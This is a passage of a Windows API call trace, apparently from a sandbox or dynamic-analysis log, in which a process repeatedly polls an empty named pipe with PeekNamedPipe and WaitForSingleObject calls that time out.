PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.549] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.581] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.581] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.614] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.614] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.643] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.643] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.674] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.675] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.705] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.705] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.737] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.737] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.777] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.777] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.799] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.799] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.831] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.861] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.862] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.893] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.934] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.934] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.955] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.955] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.986] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.986] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.017] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.018] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.049] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.049] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.080] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.080] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.123] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.123] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.142] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.142] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.173] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.174] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.205] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.205] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.236] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.236] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.268] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.268] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.298] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.298] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.329] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.330] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.361] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.361] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.392] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.392] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.423] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.423] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.454] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.454] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.486] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.517] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.517] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.548] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.548] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.579] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.579] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.610] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.610] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.642] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.642] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.673] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.673] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.704] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.704] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.745] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.745] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.766] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.766] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.810] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.810] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.829] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.829] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.860] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.860] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.891] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.891] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.922] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.922] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.953] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.953] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.989] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.990] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.016] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.016] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.048] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.048] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.078] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.078] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.110] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.110] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.141] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.141] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.172] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.172] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.203] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.203] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.234] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.234] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.265] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.266] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.299] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.299] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.328] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.328] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.422] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.422] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.453] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.453] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.488] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.488] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.515] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.515] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.547] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.547] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.577] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.577] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.614] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.614] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.667] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.667] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.711] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.712] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.734] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.734] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.765] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.765] 